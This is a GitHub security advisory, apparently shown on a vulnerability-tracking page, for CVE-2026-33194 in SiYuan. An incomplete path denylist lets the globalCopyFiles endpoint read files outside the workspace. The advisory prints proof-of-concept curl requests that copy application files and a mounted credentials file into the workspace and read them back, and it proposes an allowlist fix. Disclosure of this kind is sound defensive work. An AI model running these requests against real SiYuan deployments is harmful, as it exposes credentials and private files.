GHSA-VM69-H85X-8P85
Vulnerability from github – Published: 2026-03-18 20:10 – Updated: 2026-11-05 21:33Summary
The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.
Details
Current denylist in kernel/util/path.go:391-405:
prefixes := []string{
"/.", // dotfiles
"/etc", // system config
"/root", // root home
"/var", // variable data
"/proc", // process info
"/sys", // sysfs
"/run", // runtime data
"/bin", // binaries
"/boot", // boot files
"/dev", // devices
"/lib", // libraries
"/srv", // service data
"/tmp", // temp files
}
NOT blocked:
- /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself.
- /usr — contains /usr/local/etc, /usr/local/share, custom configs
- /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible)
- /mnt, /media — mounted volumes, network shares, often containing secrets
- /snap — snap package data
- /sbin, /lib64 — system binaries/libraries
The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:
if util.IsSensitivePath(absSrc) {
// reject
continue
}
// File is copied into workspace — then readable via /api/file/getFile
PoC
# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'
# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"path":"data/assets/SiYuan-Kernel"}'
# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'
Impact
- Read arbitrary files from
/opt,/usr,/home,/mnt,/mediaand any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets
- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked
Recommended Fix
Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:
func IsSensitivePath(p string) bool {
absPath := filepath.Clean(p)
// Allowlist: only workspace and configured safe directories
if strings.HasPrefix(absPath, WorkspaceDir) {
// Block workspace-internal sensitive paths (conf/)
if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
return true
}
return false
}
// Everything outside workspace is sensitive by default
return true
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33194"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T20:10:44Z",
"nvd_published_at": "2026-03-20T23:16:45Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.\n\n## Details\n\nCurrent denylist in `kernel/util/path.go:391-405`:\n\n```go\nprefixes := []string{\n \"/.\", // dotfiles\n \"/etc\", // system config\n \"/root\", // root home\n \"/var\", // variable data\n \"/proc\", // process info\n \"/sys\", // sysfs\n \"/run\", // runtime data\n \"/bin\", // binaries\n \"/boot\", // boot files\n \"/dev\", // devices\n \"/lib\", // libraries\n \"/srv\", // service data\n \"/tmp\", // temp files\n}\n```\n\n**NOT blocked:**\n- `/opt` \u2014 commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.\n- `/usr` \u2014 contains `/usr/local/etc`, `/usr/local/share`, custom configs\n- `/home` \u2014 other users\u0027 home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users\u0027 homes are accessible)\n- `/mnt`, `/media` \u2014 mounted volumes, network shares, often containing secrets\n- `/snap` \u2014 snap package data\n- `/sbin`, `/lib64` \u2014 system binaries/libraries\n\nThe `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:\n\n```go\nif util.IsSensitivePath(absSrc) {\n // reject\n continue\n}\n// File is copied into workspace \u2014 then readable via /api/file/getFile\n```\n\n## PoC\n\n```bash\n# Read SiYuan\u0027s own application files from /opt (Docker deployment)\ncurl -s \u0027http://127.0.0.1:6806/api/file/globalCopyFiles\u0027 \\\n -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"srcs\":[\"/opt/siyuan/kernel/SiYuan-Kernel\"],\"destDir\":\"data/assets\"}\u0027\n\n# Then read the copied file from workspace\ncurl -s \u0027http://127.0.0.1:6806/api/file/getFile\u0027 \\\n -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"path\":\"data/assets/SiYuan-Kernel\"}\u0027\n\n# Read files from mounted volumes\ncurl -s \u0027http://127.0.0.1:6806/api/file/globalCopyFiles\u0027 \\\n -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"srcs\":[\"/mnt/secrets/credentials.json\"],\"destDir\":\"data/assets\"}\u0027\n```\n\n## Impact\n\n- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path\n- In Docker deployments: read application source code, configs, mounted secrets\n- The denylist approach is fundamentally flawed \u2014 any newly added filesystem path is accessible until explicitly blocked\n\n## Recommended Fix\n\nSwitch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:\n\n```go\nfunc IsSensitivePath(p string) bool {\n absPath := filepath.Clean(p)\n\n // Allowlist: only workspace and configured safe directories\n if strings.HasPrefix(absPath, WorkspaceDir) {\n // Block workspace-internal sensitive paths (conf/)\n if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, \"conf\")) {\n return true\n }\n return false\n }\n\n // Everything outside workspace is sensitive by default\n return true\n}\n```",
"id": "GHSA-vm69-h85x-8p85",
"modified": "2026-11-05T21:33:44Z",
"published": "2026-03-18T20:10:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33194"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/501571c2d22bb1207ea5da3450a903434026256b"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.